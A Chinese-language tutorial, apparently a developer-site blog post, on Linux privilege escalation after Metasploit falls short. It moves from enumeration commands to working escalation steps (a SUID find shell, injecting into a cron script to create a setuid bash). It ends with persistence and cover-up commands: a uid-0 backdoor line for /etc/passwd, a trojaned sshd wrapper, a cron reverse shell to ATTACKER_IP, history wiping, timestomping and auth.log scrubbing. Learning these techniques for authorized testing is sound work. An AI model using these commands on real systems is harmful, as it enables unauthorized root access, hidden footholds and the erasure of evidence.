别只盯着Windows：用MSF处理Linux提权碰壁时，你的备选方案是什么？-程序员充电站

当MSF在Linux提权中碰壁时：从自动化到手工的深度突破策略

从Windows到Linux：提权思维的转变

很多安全研究员在Windows环境下如鱼得水，熟练使用Metasploit的getsystem命令完成提权操作，却在面对Linux系统时频频碰壁。这种挫败感并非源于技术能力的不足，而是两种操作系统在权限管理机制上的本质差异所导致。

Windows系统倾向于集中化的权限管理，而Linux则采用了更加分散的权限模型。在Linux中，一个普通用户可能通过以下几种方式获得更高权限：

SUID/SGID二进制文件：某些可执行文件运行时继承所有者而非调用者的权限
内核漏洞：操作系统内核中的安全缺陷可能允许权限提升
配置错误：不当的文件权限或服务配置可能被利用
密码重用：用户在不同服务间重复使用相同凭证
计划任务/cron作业：利用配置不当的自动化任务

关键差异对比：

特性	Windows提权	Linux提权
自动化工具	MSF内置模块丰富	依赖外部工具和手工操作
常见漏洞类型	服务配置漏洞居多	内核漏洞和文件权限问题更常见
权限继承机制	相对简单	复杂的UID/GID/SGID机制
补丁管理	集中化更新	依赖发行版维护者

当MSF的自动化方法在Linux上失效时，我们需要转变思维，将MSF重新定位为信息收集的跳板，而非终极解决方案。这种思维转变是成为全能型渗透测试人员的关键一步。

MSF在Linux提权中的正确打开方式

虽然MSF在Linux本地提权模块方面相对薄弱，但它仍然是初始渗透和信息收集的利器。我们需要重新定义MSF在Linux提权流程中的角色，将其优势发挥到极致。

MSF作为信息收集平台的核心价值：

系统指纹识别：

meterpreter > sysinfo Computer : 192.168.1.105 OS : Ubuntu 18.04 (Linux 4.15.0-112-generic) Architecture : x64

用户和组枚举：

meterpreter > run post/linux/gather/enum_system

网络配置探查：
```
meterpreter > ifconfig
```
进程和服务分析：
```
meterpreter > ps
```
敏感文件定位：
```
meterpreter > search -f *.conf -d /etc
```

信息收集检查清单：

内核版本和发行版信息
已安装软件包及版本
运行中的服务及其权限
计划任务和cron作业
SUID/SGID文件列表
可写的系统文件和目录
用户主目录中的敏感文件
SSH密钥和配置文件

提示：使用MSF的post模块可以自动化大部分信息收集工作，节省时间并减少人为遗漏。例如run post/multi/gather/env可以快速获取系统环境变量。

通过系统化的信息收集，我们能够构建目标的完整画像，为后续的手工提权奠定坚实基础。记住，在Linux提权中，信息就是力量，而MSF正是获取这些信息的高效工具。

超越MSF：专业Linux提权工具链

当MSF的内置模块无法满足Linux提权需求时，我们需要转向更专业的工具集。这些工具各有所长，组合使用可以大幅提高提权成功率。

内核漏洞利用工具

linux-exploit-suggester是目前最全面的Linux内核漏洞评估工具：

# 下载并运行最新版本 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh chmod +x les.sh ./les.sh -k 4.15.0-112-generic

该工具会根据检测到的内核版本，列出所有可能的漏洞利用方式，并标注漏洞的利用难度和影响程度。

wesng的Linux版虽然不如Windows版本知名，但对于某些发行版仍然有用：

python wes.py --os "Ubuntu 18.04" --kernel 4.15.0-112-generic

SUID/SGID检测工具

查找危险的SUID/SGID文件是Linux提权的经典方法：

# 查找所有SUID文件 find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; # 查找所有SGID文件 find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \; # 查找可写目录 find / -perm -2 -type d 2>/dev/null

自动化工具推荐：

LinEnum：全面的Linux枚举脚本
LinPEAS：高级Linux权限提升审计脚本
GTFOBins：特殊权限二进制文件的利用方法数据库

环境变量和路径滥用检测

Linux的环境变量配置不当常常导致提权机会：

# 检查PATH变量 echo $PATH # 查找当前用户可写的PATH目录 find `echo $PATH | tr ':' ' '` -type d -writable 2>/dev/null

利用案例：如果发现可写的PATH目录，可以创建恶意二进制文件来劫持合法命令的执行。

手工提权实战：从信息到利用

掌握了足够的信息后，我们需要将这些数据转化为实际的提权操作。以下是几个典型场景的详细处理流程。

场景一：内核漏洞利用

识别漏洞：
```
uname -a cat /etc/*-release
```

搜索利用代码：

searchsploit linux kernel 4.15.0 privilege

编译和运行：
```
gcc exploit.c -o exploit chmod +x exploit ./exploit
```
注意：在目标系统上编译可能遇到依赖问题，建议先在相同环境的测试机上预编译。

场景二：SUID二进制滥用

以常见的find命令SUID提权为例：

验证SUID位：
```
ls -la /usr/bin/find
```
利用执行任意命令：
```
find / -exec /bin/sh -p \; -quit
```
验证提权：
```
id whoami
```

场景三：Cron作业利用

查找配置不当的Cron作业：
```
crontab -l ls -la /etc/cron*
```
分析脚本权限：
```
ls -la /path/to/cron/script.sh
```

注入恶意代码：

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> script.sh

等待执行并获取root shell：
```
/tmp/rootbash -p
```

提权方法对比表：

方法	成功率	隐蔽性	技术要求	适用场景
内核漏洞	高	低	中	未打补丁的系统
SUID滥用	中	中	低	存在危险SUID文件
Cron作业	中	高	低	配置不当的计划任务
环境变量劫持	低	高	中	PATH包含可写目录
服务配置漏洞	中	中	高	以root运行的服务有漏洞

提权后的持久化与清理

成功提权后，我们需要考虑如何维持访问权限并清理痕迹，这对专业渗透测试至关重要。

持久化技术

添加后门账户：

echo 'root2:$1$salt$Nk9mZJf9Qw2OqD6d9J3Xb0:0:0:root:/root:/bin/bash' >> /etc/passwd

安装SSH后门：

cp /usr/sbin/sshd /usr/sbin/sshd.bak echo '#!/bin/bash' > /usr/sbin/sshd echo '(echo "root2:$1$salt$Nk9mZJf9Qw2OqD6d9J3Xb0:0:0:root:/root:/bin/bash" >> /etc/passwd) &' >> /usr/sbin/sshd echo '/usr/sbin/sshd.bak "$@"' >> /usr/sbin/sshd chmod +x /usr/sbin/sshd

Cron持久化：

(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -

痕迹清理

清除命令历史：
```
echo "" > ~/.bash_history history -c
```
修改文件时间戳：
```
touch -r /etc/passwd.bak /etc/passwd
```

删除日志条目：

sed -i '/your_username/d' /var/log/auth.log

持久化方法风险评估：

方法	持久性	检测难度	移除难度	推荐指数
后门账户	高	低	易	★★☆☆☆
SSH后门	高	中	中	★★★☆☆
Cron后门	中	高	易	★★★★☆
内核模块rootkit	极高	极高	难	★★★★★